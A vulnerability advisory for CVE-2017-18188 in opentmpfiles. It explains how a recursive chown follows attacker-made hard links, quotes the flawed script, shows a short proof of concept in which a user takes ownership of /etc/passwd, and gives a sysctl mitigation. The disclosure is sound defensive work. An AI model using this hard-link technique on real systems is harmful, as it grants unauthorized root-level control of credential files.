michael orlitzky

CVE-2017-18188: opentmpfiles root privilege escalation via recursive chown

Product
opentmpfiles
Versions affected
all
Published on
2018-02-14
Author
Michael Orlitzky
Bug report
https://github.com/OpenRC/opentmpfiles/issues/3
MITRE
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18188
OSS-security
http://www.openwall.com/lists/oss-security/2018/02/14/2

Summary

The opentmpfiles program implements the tmpfiles.d specification for POSIX systems that do not run systemd. When processing a Z type entry, opentmpfiles calls chown recursively to change ownership of the target directory and its contents. An attacker can introduce a hard link into that directory pointing to a sensitive file, and the next time that opentmpfiles is run, ownership of the hard link's target will be given to the attacker.

Details

The specification for the Z type tmpfiles.d entry implies some type of recursive chown:

Z

Recursively set the access mode, group and user, and restore the SELinux security context of a file or directory if it exists, as well as of its subdirectories and the files contained therein (if applicable). Lines of this type accept shell-style globs in place of normal path names. Does not follow symlinks.

In opentmpfiles, this is implemented in the tmpfiles script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
_Z() {
  # Recursively set ownership, access mode and relabel security
  # context of a path and all its subdirectories (if it is a
  # directory). Lines of this type accept shell-style globs in
  # place of normal path names.
  [ $CREATE -gt 0 ] || return 0

  CHOPTS=-R relabel "$@"
}

relabel() {
  ...
  if [ $uid != '-' ]; then
    dryrun_or_real chown $CHOPTS "$uid" "$path"
    x=$?
    if [ $x -ne 0 ]; then
      status=$x
    fi
  fi
  ...
}

dryrun_or_real() {
  local dryrun=
  if [ $DRYRUN -eq 1 ]; then
    dryrun=echo
  fi
  $dryrun "$@"
}

Ultimately, the target of the Z-type entry has chown -R called on it. By default, chown will refuse to follow symlinks when operating recursively; however, hard links are another story. Unless some (nonstandard) kernel-level protection is enabled, unprivileged users are free to create hard links to root-owned files, and chown will follow them.

This is straightforward to exploit as the user who owns the target of a Z type entry. Take for example the following tmpfiles.d entry, in /etc/tmpfiles.d/exploit.conf:

1
2
d /var/lib/opentmpfiles-exploit 0755 mjo mjo
Z /var/lib/opentmpfiles-exploit 0755 mjo mjo

When opentmpfiles is run, ownership of that directory is given to my mjo user:

mjo $ sudo /etc/init.d/opentmpfiles-setup start

mjo $ ls -ld /var/lib/opentmpfiles-exploit

drwxr-xr-x 2 mjo mjo 4096 Feb 13 18:38 /var/lib/opentmpfiles-exploit

At that point, I'm free to introduce whatever hard links I want,

mjo $ ln /etc/passwd /var/lib/opentmpfiles-exploit/x

and then restart opentmpfiles (which would happen after a reboot, anyway):

mjo $ sudo /etc/init.d/opentmpfiles-setup restart

The chown -R follows my link, and afterwards I own /etc/passwd:

mjo $ ls -l /etc/passwd

-rwxr-xr-x 2 mjo mjo 1504 Feb 13 19:15 /etc/passwd

Mitigation

On Linux, the fs.protected_hardlinks sysctl should be enabled:

root # sysctl --write fs.protected_hardlinks=1